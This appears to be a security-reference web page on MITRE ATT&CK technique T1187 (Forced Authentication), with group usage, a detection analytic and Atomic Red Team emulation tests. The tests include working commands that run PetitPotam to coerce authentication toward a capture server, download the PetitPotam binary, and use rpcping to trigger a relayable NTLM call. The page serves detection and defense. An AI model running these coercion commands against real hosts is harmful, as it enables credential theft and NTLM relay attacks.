tfMITRE ATT&CK technique

Forced Authentication T1187

Tactic: Credential Access
Platform: Windows
Version: 1.4
Created: 16 January 2018
Last modified: 24 October 2025
Contributors: Teodor Cimpoesu; Sudhanshu Chauhan, @Sudhanshu_C; Jiraput Thamsongkrah; Purinut Wongwaiwuttiguldej; Natthawut Saexu

Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups56th pct

Threat groups56th percentile · 56% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsNone recorded

CampaignsNone recorded · 54% of ATT&CK techniques have none either.

Tools & malware44th pct

Tools & malware44th percentile · 56% of ATT&CK techniques have more tools implementing them.

Detection rulesTop 16%

Detection rules84th percentile · 84% of ATT&CK techniques have this many detection rules written or fewer.

Forced Authentication MITRE reference T1187

56th pctamong all ATT&CK techniques for number of groups

2 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

DarkHydrusG0079 ↗

Used Template Injection to launch an authentication window for users to enter their credentials.1

created 2018-10-171 reference

DragonflyG0035 ↗

Has gathered hashed user credentials over SMB using spearphishing attachments with external resource links and by modifying .LNK file icon resources to collect credentials from virtualized systems.1 2

created 2017-05-312 referencesaka TEMP.Isotope

All 2 groups for this technique

Offense vs defense T1187

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 0Sigma rules (cumulative) · 9Splunk ESCU (cumulative) · 6

first rule: 2021 Q3

Forced Authentication detection strategy DET0022

MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detect Forced SMB/WebDAV Authentication via lure files and outbound NTLM

Enterprise

1 platform

AN0065 · Windows

Adversary stages a lure that references a remote resource (e.g., LNK/SCF/Office template). When the user opens/renders the file or a shell enumerates icons, the host automatically attempts SMB or WebDAV authentication to the attacker host. The chain is: (1) lure file is created or modified in a user-exposed location → (2) user or system accesses the lure → (3) host makes outbound NTLM (SMB 139/445 or WebDAV over 80/443) to an untrusted destination → (4) repeated attempts from multiple users/hosts or from privileged workstations.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
File CreationDC0039	WinEventLog:Sysmon	EventCode=11
File ModificationDC0061	WinEventLog:Security	EventCode=4663, 4670, 4656
Network Traffic FlowDC0078	NSM:Flow	Outbound connections to TCP 139,445 and HTTP/HTTPS to WebDAV endpoints from workstation subnets
Network Traffic ContentDC0085	NSM:Flow	HTTP/WebDAV requests that contain NTLMSSP or PROPFIND/MOVE/OPTIONS with Authorization: NTLM

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
UserLocations	Folders where lures are most effective (Desktop, Public, Downloads, Temp, Cache, Start Menu, Startup). Adjust to enterprise layout.
LureExtensions	File types commonly abused (.lnk, .scf, .url, .doc/.xls/.ppt/.pdf/.html). Extend for your tooling and languages.
UntrustedCIDR/DNS	Org-specific list of external/unknown networks or domains; used to suppress sanctioned file servers and WebDAV gateways.
TimeWindow	Correlation horizon (e.g., 15–30 minutes) between file access and outbound NTLM attempt.
WorkstationZones	Asset/zone tags that distinguish workstations from servers; helps flag workstation→workstation SMB, which is often abnormal.
OfficeTemplatePaths	Paths to Office templates to catch template injection references and abnormal loads.

1 analytic

Account usage within SMB can be used to identify compromised credentials, and the hosts accessed with them.

TypeSituational AwarenessCoverageLowSubmitted2013

D3FEND techniques

The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.

ID	Name
D3-IPCTA	IPC Traffic Analysis

Data model references

The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.

Object	Action	Field
flow	message	dest_port
flow	message	proto_info
flow	message	protocol

Implementations

Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.

flow = search Flow:Message
smb_setup = filter flow where (dest_port == 445 and protocol == smb.setup)
smb_setup.user = smb_write.proto_info.user_name
smb_setup.target_host = smb_write.proto_info.hostname
output smb_write

Tests3ExecutorsPowerShell 3Need elevation0 of 3Have prerequisites1Have cleanup0Platformswindows

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

PetitPotam

windows

PowerShell

—

This module runs the Windows executable of PetitPotam in order to coerce authentication for a remote system.

Input arguments

Name	Type	Default	Description
efsApi	integer	1	EFS API to use to coerce authentication
targetServerIP	string	10.0.0.2	Computer IP to force authentication from (ex. domain controller)
captureServerIP	string	10.0.0.3	Computer IP to use to receive the authentication (ex. attacker machine used for NTLM relay)
petitpotam_path	path	PathToAtomicsFolder\..\ExternalPayloads\PetitPotam.exe	PetitPotam Windows executable

Attack command

& "#{petitpotam_path}" #{captureServerIP} #{targetServerIP} #{efsApi}
Write-Host "End of PetitPotam attack"

Prerequisite

PetitPotam binary must exist on disk and at specified location (#{petitpotam_path}). And the computer must be domain joined (implicit authentication).

Check

if (Test-Path "#{petitpotam_path}") { exit 0 } else { exit 1 }

Satisfy

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/topotam/PetitPotam/blob/2ae559f938e67d0cd59c5afcaac67672b9ef2981/PetitPotam.exe?raw=true" -OutFile "#{petitpotam_path}"

GUIDe02f1248-e240-4492-9a5d-a39c44b3f55f

WinPwn - PowerSharpPack - Retrieving NTLM Hashes without Touching LSASS

windows

PowerShell

—

Trigger an authenticated RPC call to a target server with no Sign flag set

windows

PowerShell

—

RpcPing command can be used to trigger an authenticated RPC call to the target server (/s) that could be relayed to a privileged resource (Sign flag not Set) Ref: https://twitter.com/splinter_code/status/1421144623678988298

Input arguments

Name	Type	Default	Description
server_ip	string	127.0.0.1	Specify the server IP address. If not specified, the loop back IP will be used
custom_port	integer	9997	Specify the custom port number

Attack command

rpcping -s #{server_ip} -e #{custom_port} /a connect /u NTLM 1>$Null

GUID3b1f5a72-3e5a-4b99-bd6f-5c9a656314c7

Tests from Atomic Red Team (MIT licence) · technique definition

Forced Authentication detections T1187

15 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

Top 16%of all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs